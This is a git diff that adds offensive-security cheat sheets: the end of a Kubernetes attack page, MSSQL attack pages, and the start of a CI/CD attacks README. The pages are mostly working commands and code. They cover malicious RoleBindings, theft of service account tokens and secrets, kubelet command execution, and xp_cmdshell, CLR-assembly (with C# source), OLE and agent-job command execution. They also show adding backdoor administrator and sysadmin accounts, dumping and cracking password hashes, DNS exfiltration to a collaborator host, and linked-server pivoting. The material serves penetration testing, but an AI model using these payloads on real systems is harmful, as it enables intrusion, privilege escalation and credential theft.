"rbac.authorization.k8s.io/v1", + "kind": "RoleBinding", + "metadata": { + "name": "malicious-rolebinding", + "namespaces": "default" + }, + "roleRef": { + "apiGroup": "*", + "kind": "ClusterRole", + "name": "admin" + }, + "subjects": [ + { + "kind": "ServiceAccount", + "name": "sa-comp" + "namespace": "default" + } + ] +} +``` + +```powershell +curl -k -v -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" https://:/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json +curl -k -v -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" https://:/api/v1/namespaces/kube-system/secret +``` + +### Impersonating a Privileged Account + +```powershell +curl -k -v -XGET -H "Authorization: Bearer " -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://:/api/v1/namespaces/kube-system/secrets/ +``` + +## Privileged Service Account Token + +```powershell +cat /run/secrets/kubernetes.io/serviceaccount/token +curl -k -v -H "Authorization: Bearer " https://:/api/v1/namespaces/default/secrets/ +``` + +## Kubernetes Endpoints + +```powershell +# List Pods +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/default/pods/ + +# List secrets +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/default/secrets/ + +# List deployments +curl -v -H "Authorization: Bearer " https:///apis/extensions/v1beta1/namespaces/default/deployments + +# List daemonsets +curl -v -H "Authorization: Bearer " https:///apis/extensions/v1beta1/namespaces/default/daemonsets +``` + +### cAdvisor + +```powershell +curl -k https://:4194 +``` + +### Insecure API server + +```powershell +curl -k https://:8080 +``` + +### Secure API Server + +```powershell +curl -k https://:(8|6)443/swaggerapi +curl -k https://:(8|6)443/healthz +curl -k https://:(8|6)443/api/v1 +``` + +### etcd API + +```powershell +curl -k https://:2379 +curl -k https://:2379/version +etcdctl --endpoints=http://:2379 get / --prefix --keys-only +``` + +### Kubelet API + +```powershell +curl -k https://:10250 +curl -k https://:10250/metrics +curl -k https://:10250/pods +``` + +### kubelet (Read only) + +```powershell +curl -k https://:10255 +http://:10255/pods +``` + +## Exploits + +### Accessible kubelet on 10250/TCP + +**Requirements**: + +- `--anonymous-auth`: Enables anonymous requests to the Kubelet server + +**Exploit**: + +- Getting pods: `curl -ks https://worker:10250/pods` +- Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'` + +### Obtaining Service Account Token + +Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token` + +Use the service account token: + +- on `kube-apiserver` API: `curl -ks -H "Authorization: Bearer " https://master:6443/api/v1/namespaces/{namespace}/secrets` +- with kubectl: `kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="" get secrets --all-namespaces -o json` + +### Create gitRepo Volumes to Execute Code + +**Requirements**: + +- [`gitRepo`](https://kubernetes.io/docs/concepts/storage/volumes/#gitrepo) volume type enabled +- `create` rights on pods + +**Exploit**: + +```yml +apiVersion: v1 +kind: Pod +metadata: + name: test-pd +spec: + containers: + - image: alpine:latest + command: ["sleep","86400"] + name: test-container + volumeMounts: + - mountPath: /gitrepo + name: gitvolume + volumes: + - name: gitvolume + gitRepo: + directory: g/.git + repository: https://github.com/raesene/repopodexploit.git + revision: main +``` + +## References + +- [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet) +- [kubehound - Attack Reference](https://kubehound.io/reference/attacks/) +- [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/) +- [Fun With GitRepo Volumes - Rory McCune - JULY 10TH, 2024](https://raesene.github.io/blog/2024/07/10/Fun-With-GitRepo-Volumes/) +- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) +- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2) +- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3) +- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) +- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation) diff --git a/personas/_shared/internal-allthethings/custom.css b/personas/_shared/internal-allthethings/custom.css new file mode 100644 index 0000000..6c12c37 --- /dev/null +++ b/personas/_shared/internal-allthethings/custom.css @@ -0,0 +1,40 @@ +.md-header{ + background-color: #841F36; +} + +@media screen and (min-width: 790px) { + .md-grid{ + max-width: 100%; + } + + .md-sidebar{ + width: auto; + } +} + +/* Fix padding Chrome browsers */ +@supports selector(::-webkit-scrollbar) { + .md-sidebar__scrollwrap { + scrollbar-gutter: auto + } + + [dir=ltr] .md-sidebar__inner { + padding-right: 0; + } + + [dir=rtl] .md-sidebar__inner { + padding-left: calc(100% - 11.5rem) + } +} + +/* Fix inconsistent titles */ +.md-ellipsis { + text-transform: capitalize +} + +/* Wrap long code lines */ +code { + white-space: pre-wrap; + word-break: break-word; + overflow-wrap: break-word; +} \ No newline at end of file diff --git a/personas/_shared/internal-allthethings/databases/mssql-audit-checks.md b/personas/_shared/internal-allthethings/databases/mssql-audit-checks.md new file mode 100644 index 0000000..a7ba5d1 --- /dev/null +++ b/personas/_shared/internal-allthethings/databases/mssql-audit-checks.md @@ -0,0 +1,66 @@ +# MSSQL - Audit Checks + +## Summary + +* [Impersonation Opportunities](#impersonation-opportunities) + * [Exploiting Impersonation](#exploiting-impersonation) + * [Exploiting Nested Impersonation](#exploiting-nested-impersonation) +* [Trustworthy Databases](#trustworthy-databases) + +## Impersonation Opportunities + +* Impersonate as: `EXECUTE AS LOGIN = 'sa'` +* Impersonate `dbo` with DB_OWNER + + ```sql + SQL> select is_member('db_owner'); + SQL> execute as user = 'dbo' + SQL> SELECT is_srvrolemember('sysadmin') + ``` + +```ps1 +Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "" -Exploit -Verbose + +# impersonate sa account +powerpick Get-SQLQuery -Instance "" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug +``` + +### Exploiting Impersonation + +```sql +SELECT SYSTEM_USER +SELECT IS_SRVROLEMEMBER('sysadmin') +EXECUTE AS LOGIN = 'adminuser' +SELECT SYSTEM_USER +SELECT IS_SRVROLEMEMBER('sysadmin') +SELECT ORIGINAL_LOGIN() +``` + +### Exploiting Nested Impersonation + +```sql +SELECT SYSTEM_USER +SELECT IS_SRVROLEMEMBER('sysadmin') +EXECUTE AS LOGIN = 'stduser' +SELECT SYSTEM_USER +EXECUTE AS LOGIN = 'sa' +SELECT IS_SRVROLEMEMBER('sysadmin') +SELECT ORIGINAL_LOGIN() +SELECT SYSTEM_USER +``` + +## Trustworthy Databases + +```sql +Invoke-SQLAuditPrivTrustworthy -Instance "" -Exploit -Verbose + +SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases +``` + +> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound. + +```ps1 +Invoke-SQLAuditPrivXpDirtree +Invoke-SQLUncPathInjection +Invoke-SQLAuditPrivXpFileexist +``` diff --git a/personas/_shared/internal-allthethings/databases/mssql-command-execution.md b/personas/_shared/internal-allthethings/databases/mssql-command-execution.md new file mode 100644 index 0000000..3e1ba1a --- /dev/null +++ b/personas/_shared/internal-allthethings/databases/mssql-command-execution.md @@ -0,0 +1,314 @@ +# MSSQL - Command Execution + +## Summary + +- [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell) +- [Extended Stored Procedure](#extended-stored-procedure) + - [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures) +- [CLR Assemblies](#clr-assemblies) + - [Execute commands using CLR assembly](#execute-commands-using-clr-assembly) + - [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it) +- [OLE Automation](#ole-automation) + - [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures) +- [Agent Jobs](#agent-jobs) + - [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service) + - [List All Jobs](#list-all-jobs) +- [External Scripts](#external-scripts) + - [Python](#python) + - [R](#r) + +## Command Execution via xp_cmdshell + +> xp_cmdshell disabled by default since SQL Server 2005 + +```ps1 +PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "" -Command whoami + +# Creates and adds local user backup to the local administrators group: +PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "" -Command "net user backup Password1234 /add'" -Verbose +PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "" -Command "net localgroup administrators backup /add" -Verbose +``` + +- Manually execute the SQL query + + ```sql + EXEC xp_cmdshell "net user"; + EXEC master..xp_cmdshell 'whoami' + EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; + EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; + ``` + +- If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) + + ```sql + EXEC sp_configure 'show advanced options',1; + RECONFIGURE; + EXEC sp_configure 'xp_cmdshell',1; + RECONFIGURE; + ``` + +- If the procedure was uninstalled + + ```sql + sp_addextendedproc 'xp_cmdshell','xplog70.dll' + ``` + +## Extended Stored Procedure + +### Add the extended stored procedure and list extended stored procedures + +```ps1 +# Create evil DLL +Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test + +# Load the DLL and call xp_test +Get-SQLQuery -UserName sa -Password Password1234 -Instance "" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'" +Get-SQLQuery -UserName sa -Password Password1234 -Instance "" -Query "EXEC xp_test" + +# Listing existing +Get-SQLStoredProcedureXP -Instance "" -Verbose +``` + +- Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp) +- Load the DLL + + ```sql + -- can also be loaded from UNC path or Webdav + sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll' + EXEC xp_calc + sp_dropextendedproc 'xp_calc' + ``` + +## CLR Assemblies + +Prerequisites: + +- sysadmin privileges +- CREATE ASSEMBLY permission (or) +- ALTER ASSEMBLY permission (or) + +The execution takes place with privileges of the **service account**. + +### Execute commands using CLR assembly + +```ps1 +# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string +Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop + +# Execute command using CLR assembly +Invoke-SQLOSCmdCLR -Username sa -Password -Instance -Command "whoami" -Verbose +Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "" -Command "whoami" Verbose +Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "" -Command "powershell -e " -Verbose + +# List all the stored procedures added using CLR +Get-SQLStoredProcedureCLR -Instance -Verbose +``` + +### Manually creating a CLR DLL and importing it + +Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs` + +```csharp +using System; +using System.Data; +using System.Data.SqlClient; +using System.Data.SqlTypes; +using Microsoft.SqlServer.Server; +using System.IO; +using System.Diagnostics; +using System.Text; + +public partial class StoredProcedures +{ + [Microsoft.SqlServer.Server.SqlProcedure] + public static void cmd_exec (SqlString execCommand) + { + Process proc = new Process(); + proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; + proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); + proc.StartInfo.UseShellExecute = false; + proc.StartInfo.RedirectStandardOutput = true; + proc.Start(); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the beginning of the result set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result set. + SqlContext.Pipe.SendResultsEnd(); + + proc.WaitForExit(); + proc.Close(); + } +}; +``` + +Then follow these instructions: + +1. Enable `show advanced options` on the server + + ```sql + sp_configure 'show advanced options',1; + RECONFIGURE + GO + ``` + +2. Enable CLR on the server + + ```sql + sp_configure 'clr enabled',1 + RECONFIGURE + GO + ``` + +3. Trust the assembly by adding its SHA512 hash + + ```sql + EXEC sys.sp_add_trusted_assembly 0x[SHA512], N'assembly'; + ``` + +4. Import the assembly + + ```sql + CREATE ASSEMBLY my_assembly + FROM 'c:\temp\cmd_exec.dll' + WITH PERMISSION_SET = UNSAFE; + ``` + +5. Link the assembly to a stored procedure + + ```sql + CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; + GO + ``` + +6. Execute and clean + + ```sql + cmd_exec "whoami" + DROP PROCEDURE cmd_exec + DROP ASSEMBLY my_assembly + ``` + +**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL + +```sql +CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM +0x4D5A90000300000004000000F[TRUNCATED] +WITH PERMISSION_SET = UNSAFE +GO +``` + +## OLE Automation + +- :warning: Disabled by default +- The execution takes place with privileges of the **service account**. + +### Execute commands using OLE automation procedures + +```ps1 +Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "" -Command "whoami" Verbose +``` + +```ps1 +# Enable OLE Automation +EXEC sp_configure 'show advanced options', 1 +EXEC sp_configure reconfigure +EXEC sp_configure 'OLE Automation Procedures', 1 +EXEC sp_configure reconfigure + +# Execute commands +DECLARE @execmd INT +EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT +EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' +``` + +```powershell +# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py +python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll +python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll' +python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll' +SQL> enable_ole +SQL> upload reciclador.dll C:\windows\temp\reciclador.dll +``` + +## Agent Jobs + +- The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured. +- :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job. + +### Execute commands through SQL Agent Job service + +```ps1 +Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "" -Command "powershell e " -Verbose +Subsystem Options: +–Subsystem CmdExec +-SubSystem PowerShell +–Subsystem VBScript +–Subsystem Jscript +``` + +```sql +USE msdb; +EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; +EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ; +EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; +EXEC dbo.sp_start_job N'test_powershell_job1'; + +-- delete +EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1'; +``` + +### List All Jobs + +```ps1 +SELECT job_id, [name] FROM msdb.dbo.sysjobs; +SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id +Get-SQLAgentJob -Instance "" -username sa -Password Password1234 -Verbose +``` + +## External Scripts + +Requirements: + +- Feature 'Advanced Analytics Extensions' must be installed +- Enable **external scripts**. + +```sql +sp_configure 'external scripts enabled', 1; +RECONFIGURE; +``` + +### Python + +```ps1 +Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "" -Command "powershell -e " -Verbose + +EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' +WITH RESULT SETS (([cmd_out] nvarchar(max))) +``` + +### R + +```ps1 +Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "" -Command "powershell -e " -Verbose + +EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' +WITH RESULT SETS (([cmd_out] text)); +GO + +@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))' +``` + +## References + +- [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/) +- [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution) diff --git a/personas/_shared/internal-allthethings/databases/mssql-credentials.md b/personas/_shared/internal-allthethings/databases/mssql-credentials.md new file mode 100644 index 0000000..8d275c0 --- /dev/null +++ b/personas/_shared/internal-allthethings/databases/mssql-credentials.md @@ -0,0 +1,101 @@ +# MSSQL - Credentials + +## Summary + +* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes) +* [List Credentials on the SQL Server](#list-credentials-on-the-sql-server) +* [Proxy Account Context](#proxy-account-context) + +## MSSQL Accounts and Hashes + +* MSSQL 2000 + + ```sql + SELECT name, password FROM master..sysxlogins + SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins + -- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.) + ``` + +* MSSQL 2005 + + ```sql + SELECT name, password_hash FROM master.sys.sql_logins + SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins + ``` + +Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force` + +| Hash-Mode | Hash-Name | Example | +| --- | --- | --- | +| 131 | MSSQL (2000) | 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 | +| 132 | MSSQL (2005) | 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe | +| 1731 | MSSQL (2012, 2014) | 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 | + +## List Credentials on the SQL Server + +* List credentials configured on the SQL Server instance + + ```sql + SELECT * FROM sys.credentials + ``` + +* List proxy accounts + + ```sql + USE msdb; + GO + + SELECT + proxy_id, + name AS proxy_name, + credential_id, + enabled + FROM + dbo.sysproxies; + GO + ``` + +* [dataplat/dbatools/Get-DecryptedObject.ps1](https://github.com/dataplat/dbatools/blob/7ad0415c2f8a58d3472c1e85ee431c70f1bb8ae4/private/functions/Get-DecryptedObject.ps1) + +## Proxy Account Context + +Agent Job using the registered proxy credential. + +```sql +USE msdb; +GO + +-- Create the job +EXEC sp_add_job + @job_name = N'WhoAmIJob'; -- Name of the job + +-- Add a job step that uses the proxy to execute the whoami command +EXEC sp_add_jobstep + @job_name = N'WhoAmIJob', + @step_name = N'ExecuteWhoAmI', + @subsystem = N'CmdExec', + @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt', + @on_success_action = 1, -- 1 = Quit with success + @on_fail_action = 2, -- 2 = Quit with failure + @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier + +-- Add a schedule to the job (optional, can be manual or scheduled) +EXEC sp_add_jobschedule + @job_name = N'WhoAmIJob', + @name = N'RunOnce', + @freq_type = 1, -- 1 = Once + @active_start_date = 20240820, + @active_start_time = 120000; + +-- Add the job to the SQL Server Agent +EXEC sp_add_jobserver + @job_name = N'WhoAmIJob', + @server_name = N'(LOCAL)'; +``` + +Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. +`EXEC sp_start_job @job_name = N'WhoAmIJob';` + +## References + +* [Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation - Scott Sutherland - September 10, 2024](https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/) diff --git a/personas/_shared/internal-allthethings/databases/mssql-enumeration.md b/personas/_shared/internal-allthethings/databases/mssql-enumeration.md new file mode 100644 index 0000000..a1474ac --- /dev/null +++ b/personas/_shared/internal-allthethings/databases/mssql-enumeration.md @@ -0,0 +1,166 @@ +# MSSQL - Database Enumeration + +## Summary + +- [Tools](#tools) +- [Identify Instances and Databases](#identify-instances-and-databases) + - [Discover Local SQL Server Instances](#discover-local-sql-server-instances) + - [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances) + - [Discover Remote SQL Server Instances](#discover-remote-sql-server-instances) + - [Identify Encrypted databases](#identify-encrypted-databases) + - [Version Query](#version-query) +- [Identify Users and Roles](#identify-users-and-roles) +- [Identify Sensitive Information](#identify-sensitive-information) + - [Get Tables from a Specific Database](#get-tables-from-a-specific-database) + - [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column) + - [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table) + - [Dump common information from server to files](#dump-common-information-from-server-to-files) + +## Tools + +- [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server +- [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon/) - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation. + +## Identify Instances and Databases + +### Discover Local SQL Server Instances + +```ps1 +Get-SQLInstanceLocal +``` + +### Discover Domain SQL Server Instances + +```ps1 +Get-SQLInstanceDomain -Verbose +# Get Server Info for Found Instances +Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose +# Get Database Names +Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults +``` + +### Discover Remote SQL Server Instances + +```ps1 +Get-SQLInstanceBroadcast -Verbose +Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 +``` + +### Identify Encrypted databases + +Note: These are automatically decrypted for admins + +```ps1 +Get-SQLDatabase -Username sa -Password Password1234 -Instance "" -Verbose | Where-Object {$_.is_encrypted -eq "True"} +``` + +### Version Query + +```ps1 +Get-SQLInstanceDomain | Get-Query "select @@version" +``` + +## Identify Users and Roles + +- Query Current User & determine if the user is a sysadmin + + ```sql + select suser_sname() + Select system_user + select is_srvrolemember('sysadmin') + ``` + +- Current Role + + ```sql + select user + ``` + +- All Logins on Server + + ```sql + Select * from sys.server_principals where type_desc != 'SERVER_ROLE' + ``` + +- All Database Users for a Database + + ```sql + Select * from sys.database_principals where type_desc != 'database_role'; + ``` + +- List All Sysadmins + + ```sql + SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 + ``` + +- List All Database Roles + + ```sql + SELECT DB1.name AS DatabaseRoleName, + isnull (DB2.name, 'No members') AS DatabaseUserName + FROM sys.database_role_members AS DRM + RIGHT OUTER JOIN sys.database_principals AS DB1 + ON DRM.role_principal_id = DB1.principal_id + LEFT OUTER JOIN sys.database_principals AS DB2 + ON DRM.member_principal_id = DB2.principal_id + WHERE DB1.type = 'R' + ORDER BY DB1.name; + ``` + +## Identify Sensitive Information + +### Get Tables from a Specific Database + +```ps1 +Get-SQLInstanceDomain | Get-SQLTable -DatabaseName -NoDefaults +Get Column Details from a Table +Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName -TableName +``` + +- Current database + + ```sql + select db_name() + ``` + +- List all tables + + ```sql + select table_name from information_schema.tables + ``` + +- List all databases + + ```sql + select name from master..sysdatabases + ``` + +- List server informations + + ```sql + SELECT * FROM sys.configurations + ``` + +### Gather 5 Entries from Each Column + +```ps1 +Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "" -Verbose -SampleSize 5 +``` + +### Gather 5 Entries from a Specific Table + +```ps1 +Get-SQLQuery -Instance "" -Query 'select TOP 5 * from .dbo.' +``` + +### Dump common information from server to files + +```ps1 +Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv +``` + +## References + +- [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3) +- [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet) diff --git a/personas/_shared/internal-allthethings/databases/mssql-linked-database.md b/personas/_shared/internal-allthethings/databases/mssql-linked-database.md new file mode 100644 index 0000000..8ee21be --- /dev/null +++ b/personas/_shared/internal-allthethings/databases/mssql-linked-database.md @@ -0,0 +1,107 @@ +# MSSQL - Linked Database + +## Summary + +- [Find Trusted Link](#find-trusted-link) +- [Execute Query Through The Link](#execute-query-through-the-link) +- [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain) +- [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance) +- [Query Version of Linked Database](#query-version-of-linked-database) +- [Execute Procedure on Linked Database](#execute-procedure-on-linked-database) +- [Determine Names of Linked Databases](#determine-names-of-linked-databases) +- [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database) +- [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table) +- [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column) + +## Find Trusted Link + +```sql +select * from master..sysservers +``` + +## Execute Query Through The Link + +```sql +-- execute query through the link +select * from openquery("dcorp-sql1", 'select * from master..sysservers') +select version from openquery("linkedserver", 'select @@version as version'); + +-- chain multiple openquery +select version from openquery("link1",'select version from openquery("link2","select @@version as version")') + +-- enable rpc out for xp_cmdshell +EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true'; +EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true'; +select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';'); +select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';'); + +-- execute shell commands +EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer +select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') + +-- create user and give admin privileges +EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" +EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" +``` + +## Crawl Links for Instances in the Domain + +A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results + +```ps1 +Get-SQLInstanceDomain | Get-SQLServerLink -Verbose +select * from master..sysservers +``` + +## Crawl Links for a Specific Instance + +```ps1 +Get-SQLServerLinkCrawl -Instance "" -Verbose +select * from openquery("",'select * from openquery("",''select * from master..sysservers'')') +``` + +## Query Version of Linked Database + +```ps1 +Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select @@version')" -Verbose +``` + +## Execute Procedure on Linked Database + +```ps1 +SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local"; +SQL> EXECUTE('RECONFIGURE') at "linked.database.local"; +SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local"; +SQL> EXECUTE('RECONFIGURE') at "linked.database.local"; +SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local"; +``` + +## Determine Names of Linked Databases + +> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query. + +```ps1 +Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select name from sys.databases')" -Verbose +``` + +## Determine All the Tables Names from a Selected Linked Database + +> The result is TableName which feeds into following query + +```ps1 +Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select name from .sys.tables')" -Verbose +``` + +## Gather the Top 5 Columns from a Selected Linked Table + +> The results are ColumnName and ColumnValue which feed into following query + +```ps1 +Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select TOP 5 * from .dbo.')" -Verbose +``` + +## Gather Entries from a Selected Linked Column + +```ps1 +Get-SQLQuery -Instance "" -Query "select * from openquery(`"`"'select * from .dbo. where =')" -Verbose +``` diff --git a/personas/_shared/internal-allthethings/devops/README.md b/personas/_shared/internal-allthethings/devops/README.md new file mode 100644 index 0000000..ad6ac69 --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/README.md @@ -0,0 +1,35 @@ +# CI/CD Attacks + +> CI/CD pipelines are often triggered by untrusted actions such a forked pull requests and new issue submissions for public git repositories. These systems often contain sensitive secrets or run in privileged environments. Attackers may gain an RCE into such systems by submitting crafted payloads that trigger the pipelines. Such vulnerabilities are also known as Poisoned Pipeline Execution (PPE). + +## Summary + +- [Tools](#tools) +- [CI/CD Products](#summary) + - [GitHub 